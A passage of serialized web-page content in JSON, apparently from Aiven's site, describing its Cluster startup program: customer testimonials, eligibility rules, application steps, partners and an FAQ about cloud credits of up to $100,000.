brilliantly."}],"markDefs":[],"style":"normal"},{"_key":"e5d9b0609495","_type":"block","children":[{"_key":"2d7cc0d7cd400","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.revenuehero.io/","title":"Visit RevenueHero"},"image":{"_type":"mainImage","alt":"Hariharan Ramkumar profile photo","asset":{"_ref":"image-e5e95244810e86477e8960da83f2dfca345d83b6-512x512-png","_type":"reference"}},"jobTitle":"Co-Founder at RevenueHero","name":"Hariharan Ramkumar"},{"_key":"9b3c96579017","_type":"testimonialItem","content":[{"_key":"eb39915a0e4e","_type":"block","children":[{"_key":"b29a6cb2ae820","_type":"span","marks":[],"text":"Aiven has been a great partner, providing "},{"_key":"b29a6cb2ae821","_type":"span","marks":["strong"],"text":"performant scalable vector and hybrid search"},{"_key":"b29a6cb2ae822","_type":"span","marks":[],"text":" powered by OpenSearch. Best of all, our customers can "},{"_key":"b29a6cb2ae823","_type":"span","marks":["strong"],"text":"select any cloud or region"},{"_key":"b29a6cb2ae824","_type":"span","marks":[],"text":" based on their requirements for their data."}],"markDefs":[],"style":"normal"},{"_key":"0b0e133e140a","_type":"block","children":[{"_key":"0d082673a2150","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.workorb.ai/","title":"Visit WorkOrb"},"image":{"_type":"mainImage","alt":"Nilesh Bansal profile photo","asset":{"_ref":"image-9066789342282ac382e4432ea1566c108db09648-200x200-jpg","_type":"reference"}},"jobTitle":"Founder of workOrb","name":"Nilesh B."},{"_key":"dfe7167321fe","_type":"testimonialItem","content":[{"_key":"3fd94af68c01","_type":"block","children":[{"_key":"81a32523513e0","_type":"span","marks":[],"text":"Joining the Aiven Cluster program gives you room to explore different technologies without committing yourself to any plans or buying it right away. The sponsorship is really helpful to understand what building pieces we can use, and experiment with them before we build them into our final product."}],"markDefs":[],"style":"normal"},{"_key":"db0b66e89434","_type":"block","children":[{"_key":"7c65de3ed9f20","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.4screen.com/","title":"Visit 4 Screen"},"image":{"_type":"mainImage","asset":{"_ref":"image-e3322220d3f40885f42d29c423005afd16f9e5e2-500x500-png","_type":"reference"}},"jobTitle":"Senior Software Engineer at 4 Screen","name":"Paul Rogalinski-Pinter"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","variant":"people"},{"_key":"356cfddcaa6c","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"a6d7262e20fe","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-29107c2858e1703d824dae21515eaa4bfa75a216-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"e6864f0c8909","_type":"block","children":[{"_key":"9fbbc08fd94c","_type":"span","marks":[],"text":"Your startup needs to have been founded maximum 7 years ago to be eligible for Cluster."}],"markDefs":[],"style":"normal"}],"title":"Maximum 7 years old"},{"_key":"1abc95acc627","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ae317d887552","_type":"block","children":[{"_key":"3df81f21b170","_type":"span","marks":[],"text":"Eligible startups must have raised fund (anything between pre-seed and Series B)."}],"markDefs":[],"style":"normal"}],"title":"Fundraising"},{"_key":"56327090e50a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"63cd3ce5f7ea","_type":"block","children":[{"_key":"191667c4aadd","_type":"span","marks":[],"text":"Help us verify that your business it legit by applying to Cluster with your company email."}],"markDefs":[],"style":"normal"}],"title":"Business email address"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"roundedCorners":"rounded-none","subtitle":[{"_key":"68181bf7ed5b","_type":"block","children":[{"_key":"7d6f05763e25","_type":"span","marks":[],"text":"We support early stage startups with a high potential for growth through the Cluster program. If you don't fit all criteria listed below, don't worry. We encourage you to apply anyway and we'll do our best to support you."}],"markDefs":[],"style":"normal"}],"title":"Eligibility Criteria"},{"_key":"d2c892424571","_type":"textVideo","disabled":true,"fullWidth":false,"rounded":false,"text":[{"_key":"dd31a5ab7453","_type":"block","children":[{"_key":"317e50db2fa90","_type":"span","marks":[],"text":"Aiven makes setting up cloud data infrastructure as easy as 1, 2, 3..."}],"markDefs":[],"style":"normal"},{"_key":"ecd508a3754d","_type":"block","children":[{"_key":"cd7d09cdf7ad0","_type":"span","marks":[],"text":"Sign into Aiven Console"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7bd4cc625604","_type":"block","children":[{"_key":"be471e86af3c","_type":"span","marks":[],"text":"Select the cloud provider, services*, tools, and plan that works for you"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4c04fa83084d","_type":"block","children":[{"_key":"bab0969e23170","_type":"span","marks":[],"text":"Spin it up"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8da45c1ab88b","_type":"block","children":[{"_key":"f052a06c1b970","_type":"span","marks":[],"text":"...And you’re ready for action."}],"markDefs":[],"style":"normal"}],"title":"Data infrastructure made easy","variant":"mediaRight","ytId":"FJxVeA5ORY0"},{"_key":"8b99dbe5b9e9","_type":"serviceList","disabled":true,"fullWidth":false,"noSpaceBottom":true,"rounded":false,"services":[{"_key":"8ae581017fca","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"reference"},{"_key":"f841f2c6da94","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"reference"},{"_key":"22c464a9d1dd","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"reference"},{"_key":"1776a46112a1","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"reference"},{"_key":"4751f4b9e72a","_ref":"d0c7af0a-c0a3-4169-83ad-6ac0bcda70a1","_type":"reference"},{"_key":"60a32a70476b","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"reference"},{"_key":"78a51f1bb3d3","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"reference"},{"_key":"087adfe5f263","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},{"_key":"70b4003deb85","_ref":"c6ff24d7-20df-4041-a816-2f7f934c0b80","_type":"reference"},{"_key":"530a5f7ac85a","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"reference"}],"title":"Our managed services"},{"_key":"a3a3fd8bfe98","_type":"textImage","disabled":true,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-b18a2ea658f987bbb4b440fb946744183b2979cc-512x512-png","_type":"reference"}},"narrowImage":true,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://form.typeform.com/to/BqNrcMLJ","title":"Apply now"},"rounded":false,"text":[{"_key":"9c6add1d4ca3","_type":"block","children":[{"_key":"fde9f9b1e3fc0","_type":"span","marks":[],"text":"Applying to the Cluster startup program is a simple three step process:"}],"markDefs":[],"style":"normal"},{"_key":"173426ed7508","_type":"block","children":[{"_key":"9b2fff1d9e5a0","_type":"span","marks":["strong"],"text":"Fill out the application form."},{"_key":"9b2fff1d9e5a1","_type":"span","marks":[],"text":" It’s fun!"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d63a0c40bfb7","_type":"block","children":[{"_key":"2b43182d284c0","_type":"span","marks":["strong"],"text":"Attach proof of affiliation"},{"_key":"2b43182d284c1","_type":"span","marks":[],"text":" with a Cluster partner or non affiliated VC."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a33f6a0017f7","_type":"block","children":[{"_key":"0cc1e99476600","_type":"span","marks":["strong"],"text":"Chillax."},{"_key":"0cc1e99476601","_type":"span","marks":[],"text":" You'll hear from us within 14 days of submitting your application."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"title":"How to apply to Aiven Cluster","variant":"mediaLeft"},{"_key":"1977c9b5e03c","_type":"logoList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":false,"grayscale":false,"logos":[{"_key":"b736dd22cf64","_ref":"N2Q6YKuTV0lR0jY55d6OH","_type":"reference"},{"_key":"36f07fec336c","_ref":"1K7aVATqg7aFqES2ev7Nif","_type":"reference"},{"_key":"d049c9020aac","_ref":"1NDEQe1KkqOH6gFaab75vN","_type":"reference"},{"_key":"1a19d8afb454","_ref":"5p1t6uquWp3dWG9MhRypkW","_type":"reference"},{"_key":"7081eeb089b0","_ref":"518mUeL7pURWpXWvdbDcJE","_type":"reference"},{"_key":"da4558f26240","_ref":"76JUNbn63dw1QEpqkh3eSE","_type":"reference"},{"_key":"7e91e5ef1ae0","_ref":"6cbYBJfAGrn9QJdTemPOK2","_type":"reference"}],"primaryCTA":{"_type":"link","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"},"title":"View all partners"},"roundedCorners":"rounded-tl-br","title":"Cluster partner network","variant":"logo"},{"_key":"61968b72a3d6","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e4c049ef21617fc2ae89608678967417b8e1c1eb-512x512-png","_type":"reference"}},"narrowImage":true,"rounded":false,"text":[{"_key":"5aff5f3ff3b5","_type":"block","children":[{"_key":"240025491cb60","_type":"span","marks":[],"text":"For startup accelerators, incubators and VCs, partnering with Aiven Cluster is an awesome way to offer additional value to your startup portfolio."}],"markDefs":[],"style":"normal"},{"_key":"1bcf615fa409","_type":"block","children":[{"_key":"6b59808f9d600","_type":"span","marks":[],"text":"You’ll be supporting your existing and future portfolio companies, helping them save time and money, and giving them access to a best-in-class data platform."}],"markDefs":[],"style":"normal"},{"_key":"edbb46fbfcb6","_type":"block","children":[{"_key":"8a0cda87ac5e0","_type":"span","marks":[],"text":"To become a partner, fill out "},{"_key":"ab8474de9901","_type":"span","marks":["7208f2196fe1","strong"],"text":"this short form"},{"_key":"d8e9e3e31c5d","_type":"span","marks":[],"text":" and we’ll be in touch."}],"markDefs":[{"_key":"7208f2196fe1","_type":"link","href":"https://aiven-cluster.typeform.com/to/oQF9DH2J"}],"style":"normal"}],"title":"Invest in startups – with Aiven","variant":"mediaLeft"},{"_key":"da01dcc21c83","_type":"accordion","disabled":true,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"49e0ee69ee36","_type":"accordionItem","panelText":[{"_key":"246d1ca82c71","_type":"block","children":[{"_key":"e0fe61d835340","_type":"span","marks":[],"text":"Startup programs were critical to our early development and success, and their support helped us grow into the "},{"_key":"3bfc14f7a0c6","_type":"span","marks":["e028dc7dbf03"],"text":"Unicorn"},{"_key":"6a402a8b27db","_type":"span","marks":[],"text":" we are today. As Aiven has now reached a maturity level where we are in a position to give back, we want to support other startups in their journey, helping them to scale up and grow."}],"markDefs":[{"_key":"e028dc7dbf03","_type":"internalLink","internalLink":{"_ref":"5rQCh0etMiAbkYM5ZZfaf2","_type":"reference"}}],"style":"normal"}],"title":"Why did Aiven launch the Cluster startup program?"},{"_key":"3861bedef0e6","_type":"accordionItem","panelText":[{"_key":"476e04f6bff6","_type":"block","children":[{"_key":"e64e84171c9c0","_type":"span","marks":[],"text":"In short, Aiven makes setting up cloud databases and the infrastructure needed for them to operate so simple that anyone can do it."}],"markDefs":[],"style":"normal"},{"_key":"f8a69a2727c8","_type":"block","children":[{"_key":"7d37e54cb7a60","_type":"span","marks":[],"text":"In a way, you could think of us as the plumbers of the internet. Our console lets developers and software architects set up their databases and get familiar tools on all major cloud platforms (like Google, AWS or Azure) in a matter of minutes. It’s simple, secure, and everything is open source, so you keep control of all your data. You can move it between cloud regions and providers, duplicate it, and do whatever you want with it – and you don’t have to jump through hoops to do it."}],"markDefs":[],"style":"normal"},{"_key":"3772f001e8b9","_type":"block","children":[{"_key":"26e86f38e3d70","_type":"span","marks":[],"text":"We provide a selection of reliable, open source products – tools like Apache Kafka, PostgreSQL, MySQL, M3, InfluxDB, OpenSearch, and more – that you can install at the click of a button."}],"markDefs":[],"style":"normal"},{"_key":"0cefe4c093db","_type":"block","children":[{"_key":"5f6b4c127d0a0","_type":"span","marks":[],"text":"But while we make it simple to set up your data, it’s what you do with it next that’s where the awesome happens."}],"markDefs":[],"style":"normal"}],"title":"What does Aiven actually do?"},{"_key":"780b29be3d13","_type":"accordionItem","panelText":[{"_key":"ce19ae506a28","_type":"block","children":[{"_key":"7368a432031b0","_type":"span","marks":[],"text":"You can find the "},{"_key":"7368a432031b1","_type":"span","marks":["418a5dde8625"],"text":"application form here"},{"_key":"7368a432031b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"418a5dde8625","_type":"link","href":"https://form.typeform.com/to/BqNrcMLJ"}],"style":"normal"}],"title":"Where can I find the application form?"},{"_key":"cb73f62de95b","_type":"accordionItem","panelText":[{"_key":"aeb221fd1aab","_type":"block","children":[{"_key":"c8b2efa630e60","_type":"span","marks":[],"text":"To be eligible to apply to Aiven Cluster startup program, you need:"}],"markDefs":[],"style":"normal"},{"_key":"2f0bf3b169a5","_type":"block","children":[{"_key":"ef44db80002c0","_type":"span","marks":[],"text":"Proof of affiliation with an approved network partner (VC, accelerator, incubator, or co-working space)*"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1afc8d8e833a","_type":"block","children":[{"_key":"d7418e400bf70","_type":"span","marks":[],"text":"Maximum startup age: 7 years"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f69acce1d434","_type":"block","children":[{"_key":"aeb741bfed2a0","_type":"span","marks":[],"text":"Startup funding no greater than Series B"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"70c7f74e9bad","_type":"block","children":[{"_key":"cebd1f2500ba0","_type":"span","marks":[],"text":"A company website and associated email address"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"44f38e2295e1","_type":"block","children":[{"_key":"1bc325f487c4","_type":"span","marks":[],"text":"*If you are not affiliated with one of our partners, you can still apply and will qualify for maximum $12,000 in credits. We still require that you provide proof of having fundraised."}],"markDefs":[],"style":"normal"},{"_key":"c9b0728d21bb","_type":"block","children":[{"_key":"d20e1023eb7b","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"029e8c744a29","_type":"block","children":[{"_key":"68b14a741bdb","_type":"span","marks":[],"text":"The Cluster startup program is only available to innovative technology companies and at the moment is not open to agencies, consulting companies, NGOs or educational institutions. "}],"markDefs":[],"style":"normal"}],"title":"What are the eligibility criteria for startups?"},{"_key":"31e49791a5f8","_type":"accordionItem","panelText":[{"_key":"8518261a4935","_type":"block","children":[{"_key":"3e9a7ceb7239","_type":"span","marks":[],"text":"The amount of credits you are eligible for depends on:"}],"markDefs":[],"style":"normal"},{"_key":"4a2d6b6721ba","_type":"block","children":[{"_key":"337f6827ea46","_type":"span","marks":[],"text":"wether or not you are affiliated with one of the Aiven partners"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e22989304334","_type":"block","children":[{"_key":"e9476682fdab","_type":"span","marks":[],"text":"which partner you are affiliated with"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"02fe4d0a068c","_type":"block","children":[{"_key":"07d98cb0c6e9","_type":"span","marks":[],"text":"whether or not you have raised funding from investors"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0871e58bb5dc","_type":"block","children":[{"_key":"a6931dc43717","_type":"span","marks":[],"text":"Please check the eligibility criteria and if you have any questions, send us an email at cluster@aiven.io."}],"markDefs":[],"style":"normal"}],"title":"What factors influence the amount of credits that Aiven will provide?"},{"_key":"cd229864a7d3","_type":"accordionItem","panelText":[{"_key":"3e3cc1d4123b","_type":"block","children":[{"_key":"f417536bce910","_type":"span","marks":[],"text":"Here is a "},{"_key":"0d2120892760","_type":"span","marks":["c967a009293a"],"text":"full list of partners"},{"_key":"93a774f82f69","_type":"span","marks":[],"text":" associated with Aiven Cluster."}],"markDefs":[{"_key":"c967a009293a","_type":"internalLink","internalLink":{"_ref":"7135a6f1-a2b8-48c8-9093-46077a81b8bc","_type":"reference"}}],"style":"normal"}],"title":"Where can I find the full list of network partners affiliated with Aiven Cluster?"},{"_key":"0820957884fb","_type":"accordionItem","panelText":[{"_key":"ff9344736546","_type":"block","children":[{"_key":"948a2f09d6670","_type":"span","marks":[],"text":"No problem. We’ve created a lower credit tier for startups not associated with our partners. You can still apply and if you meet the eligibility criteria, you will be able to join the program and receive $12,000 in credits."}],"markDefs":[],"style":"normal"},{"_key":"e773c10b66ab","_type":"block","children":[{"_key":"6ec8c33ebf830","_type":"span","marks":[],"text":"Please note that you will need to have raised funding in order to qualify for the credits."}],"markDefs":[],"style":"normal"}],"title":"I am not associated with any of the Cluster program partners. Can I still apply?"},{"_key":"7b28ba72f11c","_type":"accordionItem","panelText":[{"_key":"1d0d2563f2b7","_type":"block","children":[{"_key":"a877782be6a80","_type":"span","marks":[],"text":"If you haven't raised funding yet, you can still apply as long as you are affiliated with one of Cluster's accelerator, incubator or co-working space partners. "}],"markDefs":[],"style":"normal"}],"title":"How can we participate if we don’t have investor backing?"},{"_key":"2957d6f873e8","_type":"accordionItem","panelText":[{"_key":"37a166a65f2d","_type":"block","children":[{"_key":"b1b2ea26fc5a0","_type":"span","marks":[],"text":"Yes - providing you meet the eligibility criteria."}],"markDefs":[],"style":"normal"}],"title":"Can existing Aiven customers apply to the Cluster startup program?"},{"_key":"9b980b9d03e2","_type":"accordionItem","panelText":[{"_key":"fe6ccad02560","_type":"block","children":[{"_key":"0df29702de650","_type":"span","marks":[],"text":"Applications are accepted and considered continually, with new participants selected each month. Once you apply, please give us 14 days to review your application and, if needed, get back to you with any additional questions."}],"markDefs":[],"style":"normal"},{"_key":"a2a6f0d23bf7","_type":"block","children":[{"_key":"fa83c074472e","_type":"span","marks":[],"text":"Newly accepted startups join the program on the first Monday of every month. Joint kick-off calls for new participants are held quarterly."}],"markDefs":[],"style":"normal"},{"_key":"fdb923c7182e","_type":"block","children":[{"_key":"03d0dec464c70","_type":"span","marks":[],"text":"Please note that Aiven reserves the right to change the schedule as necessary."}],"markDefs":[],"style":"normal"}],"title":"What is the application process and timeline?"},{"_key":"4c17284f8957","_type":"accordionItem","panelText":[{"_key":"061c2a4e7220","_type":"block","children":[{"_key":"5e6db1564d000","_type":"span","marks":[],"text":"Yes, seriously! You can use the startup program credits over 12 months to purchase the services, cloud data plans, and additional support that you need to build a modern modern data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"7caf9e31074c","_type":"block","children":[{"_key":"3ab402da507d","_type":"span","marks":[],"text":"What you build with our services is entirely up to you."}],"markDefs":[],"style":"normal"},{"_key":"369b7b04db32","_type":"block","children":[{"_key":"99303840282d0","_type":"span","marks":[],"text":"With 100K of Aiven credits, you could run a beefy PostgreSQL instance with 2TB of storage and half a terabyte of RAM (business-512) for 6 months. Or, you could take a modest Kafka Business-8 package ... and run that with plenty of spare credits left over for something else."}],"markDefs":[],"style":"normal"},{"_key":"9b5e7c458acc","_type":"block","children":[{"_key":"57031624128f0","_type":"span","marks":[],"text":"For a more complete package, how about a serious PostgreSQL business-64 service with workhorse OpenSearch business-32 service, a Redis business-64 for caching to keep your apps running nicely, an M3 for all your metrics (business-16 should do nicely) and Grafana to keep an eye on things - and you can run that for a year."}],"markDefs":[],"style":"normal"}],"title":"Seriously? Up to $100,000 credits? What can I do with that?"},{"_key":"e285a2b5ea2e","_type":"accordionItem","panelText":[{"_key":"a5a0d44a0a6c","_type":"block","children":[{"_key":"fc6a83f74e180","_type":"span","marks":[],"text":"We conduct interviews with the most active startups in the program and promote them through our channels, for example, Linkedin, Twitter, blog posts, etc. See an example "},{"_key":"fc6a83f74e181","_type":"span","marks":["147f8d385158"],"text":"here"},{"_key":"fc6a83f74e182","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"147f8d385158","_type":"link","href":"https://aiven.io/blog/cooking-with-apache-kafka"}],"style":"normal"}],"title":"How does Aiven promote startups in the program?"},{"_key":"2614c1ad90d8","_type":"accordionItem","panelText":[{"_key":"86b83c33fba7","_type":"block","children":[{"_key":"b17fafb2111e0","_type":"span","marks":[],"text":"When an applicant submits the application form, the applicant must agree to acknowledge that the use of the Aiven services is subject to Aiven online T\u0026Cs which are to be accepted when signing in to the Aiven console, and that Aiven may always stop giving free credits or cancel any credits given."}],"markDefs":[],"style":"normal"},{"_key":"94fbdf58c1af","_type":"block","children":[{"_key":"1644a343a52c0","_type":"span","marks":[],"text":"The amount of credits awarded to successful applicants is up to $100,000 depending on the use of services."}],"markDefs":[],"style":"normal"},{"_key":"e07e41c9f00b","_type":"block","children":[{"_key":"a1c4c2122b0b0","_type":"span","marks":[],"text":"Aiven reserves the right to cancel credits in order to be able to react in the event participant would breach the online T\u0026Cs or would otherwise use the credits against the purpose of the Cluster program."}],"markDefs":[],"style":"normal"}],"title":"What are the terms and conditions of the Cluster startup program?"},{"_key":"c75485338d9e","_type":"accordionItem","panelText":[{"_key":"5f00f1f8e928","_type":"block","children":[{"_key":"5587819607b30","_type":"span","marks":[],"text":"Your credits are valid for 12 months, so if you haven’t used them by the end of the program, they will expire."}],"markDefs":[],"style":"normal"}],"title":"What happens if I don’t use all my credits within the year?"},{"_key":"cff0e9493ac3","_type":"accordionItem","panelText":[{"_key":"4782dc96a109","_type":"block","children":[{"_key":"c62709a44e640","_type":"span","marks":[],"text":"Yes, you should still apply and indicate in the application form that you would like to start using credits later on. We can then discuss the best starting date for you."}],"markDefs":[],"style":"normal"}],"title":"I want to join the program but I am not ready to use the credits right away. Should I still apply?"},{"_key":"94b9bb67f958","_type":"accordionItem","panelText":[{"_key":"fc1cd1aaaca4","_type":"block","children":[{"_key":"4fabb03ff1de0","_type":"span","marks":[],"text":"The credit value depends on which partner you are affiliated with and can be as high as $100,000. If you are not affiliated with a Cluster partner, you can qualify for $12,000. Once you fill out the application form, we will let you know how many credits you are eligible for."}],"markDefs":[],"style":"normal"}],"title":"How many credits can I get?"},{"_key":"a891ad2c337b","_type":"accordionItem","panelText":[{"_key":"a9db1460e943","_type":"block","children":[{"_key":"9a2308eac3d50","_type":"span","marks":[],"text":"No. You can only receive Cluster credits once."}],"markDefs":[],"style":"normal"}],"title":"Can I apply for credits more than once?"},{"_key":"afe37d982eef","_type":"accordionItem","panelText":[{"_key":"018d2ea2ee0a","_type":"block","children":[{"_key":"61f1b84b0a590","_type":"span","marks":[],"text":"Aiven operates 24/7/365 monitoring on the Cloud Services and Aiven's personnel will be automatically alerted on any service anomalies. Aiven's personnel will commence work on any issues in system operations requiring manual intervention without delay."}],"markDefs":[],"style":"normal"},{"_key":"9bc54fd8846f","_type":"block","children":[{"_key":"aa83153dbf2c0","_type":"span","marks":[],"text":"For Cluster program participants, Aiven provides Basic level support without separate charge through email regarding problems related to using and accessing the Aiven Cloud Services. Responses are provided on a best-effort basis during the same or next business day."}],"markDefs":[],"style":"normal"},{"_key":"a046cf20702b","_type":"block","children":[{"_key":"0a6f1381bd0c","_type":"span","marks":[],"text":"You can read more about the support Aiven offers on https://aiven.io/support-services."}],"markDefs":[],"style":"normal"},{"_key":"fe3732118e3b","_type":"block","children":[{"_key":"246cdf3aeef7","_type":"span","marks":[],"text":"To access support, you will need to log a support ticket through the Aiven console. "}],"markDefs":[],"style":"normal"}],"title":"What technical support does Aiven offer \u0026 how do I access it?"},{"_key":"307f7fae7bb6","_type":"accordionItem","panelText":[{"_key":"fcbf6fbf37ff","_type":"block","children":[{"_key":"f0b2d0fd25580","_type":"span","marks":[],"text":"Yes, you can access the difference between the lowest tier and the amount you are eligible for through affiliation with our partner. We can’t extend the time frame when you can use the credits, but we can grant you the difference. Reach out to us at cluster@aiven.io to discuss the details."}],"markDefs":[],"style":"normal"}],"title":"I started out on the lowest credit tier and I am now affiliated with one of the Cluster partners. Can I get more credits?"},{"_key":"0dc056b16566","_type":"accordionItem","panelText":[{"_key":"e8ad8337a9a0","_type":"block","children":[{"_key":"6faa56bd70d40","_type":"span","marks":[],"text":"We don’t ask you to commit to using Aiven after you run out of credits. However, we think that you are going to like the product and and hope you'll stay with Aiven for the long run."}],"markDefs":[],"style":"normal"}],"title":"Do I have to continue using Aiven after the Cluster program ends?"},{"_key":"80160998087d","_type":"accordionItem","panelText":[{"_key":"ebcc480e1bba","_type":"block","children":[{"_key":"0ee30ce3e8560","_type":"span","marks":["strong"],"text":"Why did Aiven launch the Cluster startup program?"}],"markDefs":[],"style":"normal"},{"_key":"e47e62e9115c","_type":"block","children":[{"_key":"5331e186f8dd","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"About Aiven \u0026 the Cluster startup program"}],"rounded":false,"title":"Cluster FAQ"},{"_key":"be89e40a9209fa29a4ccc3a1170e6b6b","_type":"accordion","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"80160998087d","_type":"accordionItem","panelText":[{"_key":"ebcc480e1bba","_type":"block","children":[{"_key":"0ee30ce3e8560","_type":"span","marks":["strong"],"text":"Why did Aiven launch the Cluster startup program?"}],"markDefs":[],"style":"h5"},{"_key":"8cb2c4eaacfc","_type":"block","children":[{"_key":"cd3870c5838a","_type":"span","marks":[],"text":"Startup programs were critical to our early development and success, and their support helped us grow into the "},{"_key":"22034714ffa3","_type":"span","marks":["b202921ba490"],"text":"Unicorn"},{"_key":"cc8488ca7ee4","_type":"span","marks":[],"text":" we are today. As Aiven has now reached a maturity level where we are in a position to give back, we want to support other startups in their journey, helping them to scale up and grow."}],"markDefs":[{"_key":"b202921ba490","_type":"internalLink","internalLink":{"_ref":"5rQCh0etMiAbkYM5ZZfaf2","_type":"reference"}}],"style":"normal"},{"_key":"78f0584ed5e6","_type":"block","children":[{"_key":"c76e42ebd013","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"a03a92ac959c","_type":"block","children":[{"_key":"ad65f8a5f3e50","_type":"span","marks":["strong"],"text":"What does Aiven do?"}],"markDefs":[],"style":"h5"},{"_key":"8a9ca87899a7","_type":"block","children":[{"_key":"fcbb7ce983e1","_type":"span","marks":[],"text":"In short, Aiven makes setting up cloud databases and the infrastructure needed for them to operate so simple that anyone can do it."}],"markDefs":[],"style":"normal"},{"_key":"a79ba9795efe","_type":"block","children":[{"_key":"de49a0409790","_type":"span","marks":[],"text":"We provide a selection of reliable, open source products – tools like Apache Kafka, PostgreSQL, MySQL, Apache Flink, ClickHouse, OpenSearch, and more – that you can install at the click of a button."}],"markDefs":[],"style":"normal"},{"_key":"2ee5b2043e44","_type":"block","children":[{"_key":"7dbd9f765fb6","_type":"span","marks":[],"text":"Our platform allows developers and software architects to set up their databases and get familiar tools on all major cloud platforms (like Google, AWS or Azure) in a matter of minutes. It’s simple, secure, and everything is open source, so you keep control of all your data. You can move it between cloud regions and providers, duplicate it, and do whatever you want with it – and you don’t have to jump through hoops to do it."}],"markDefs":[],"style":"normal"},{"_key":"430b30e417c4","_type":"block","children":[{"_key":"3f3437e3bee9","_type":"span","marks":[],"text":"But while we make it simple to set up your data, it’s what you do with it next that’s where the awesome happens."}],"markDefs":[],"style":"normal"}],"title":"About Aiven \u0026 the Cluster startup program"},{"_key":"a2827132abed","_type":"accordionItem","panelText":[{"_key":"2681004c07d5","_type":"block","children":[{"_key":"6fe62fcbfb220","_type":"span","marks":["strong"],"text":"What are the eligibility criteria for startups?"}],"markDefs":[],"style":"h5"},{"_key":"6bde3a092fb9","_type":"block","children":[{"_key":"c9a00859e0f2","_type":"span","marks":[],"text":"To be eligible to apply to Aiven Cluster startup program, you need:"}],"markDefs":[],"style":"normal"},{"_key":"578f88e0ccf5","_type":"block","children":[{"_key":"4caf4b518e6d","_type":"span","marks":[],"text":"Proof of affiliation with an approved network partner (VC, accelerator, incubator, or co-working space)*"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"159760654eda","_type":"block","children":[{"_key":"35df373f10a0","_type":"span","marks":[],"text":"Maximum startup age: 7 years"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7b7246c4e277","_type":"block","children":[{"_key":"d7bc019f6d58","_type":"span","marks":[],"text":"Startup funding no greater than Series B"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"448e1e2f89d6","_type":"block","children":[{"_key":"310bdbb4bfa5","_type":"span","marks":[],"text":"A company website and associated email address"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"12dd7587a7de","_type":"block","children":[{"_key":"c13d4f5e782f","_type":"span","marks":[],"text":"*If you are not affiliated with one of our partners, you can still apply and will qualify for maximum $12,000 in credits. We still require that you provide proof of having fundraised."}],"markDefs":[],"style":"normal"},{"_key":"0d8432013c4e","_type":"block","children":[{"_key":"e55be191a11f","_type":"span","marks":[],"text":"The Cluster startup program is only available to innovative technology companies and at the moment is not open to agencies, consulting companies, NGOs or educational institutions. 